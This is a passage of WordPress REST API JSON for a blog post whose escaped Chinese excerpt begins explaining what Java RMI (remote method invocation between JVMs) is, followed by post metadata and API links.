RMI: RMI\u662f\u4ec0\u4e48\uff1aJava\u7684RMI\u8fdc\u7a0b\u8c03\u7528\u662f\u6307\uff0c\u4e00\u4e2aJVM\u4e2d\u7684\u4ee3\u7801\u53ef\u4ee5\u901a\u8fc7\u7f51\u7edc\u5b9e\u73b0\u8fdc\u7a0b\u8c03\u7528\u53e6\u4e00\u4e2aJVM\u7684 […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[12,3],"tags":[],"class_list":["post-297","post","type-post","status-publish","format-standard","hentry","category-java","category-3"],"_links":{"self":[{"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/posts\/297","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/comments?post=297"}],"version-history":[{"count":1,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/posts\/297\/revisions"}],"predecessor-version":[{"id":299,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/posts\/297\/revisions\/299"}],"wp:attachment":[{"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/media?parent=297"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/categories?post=297"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/tags?post=297"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}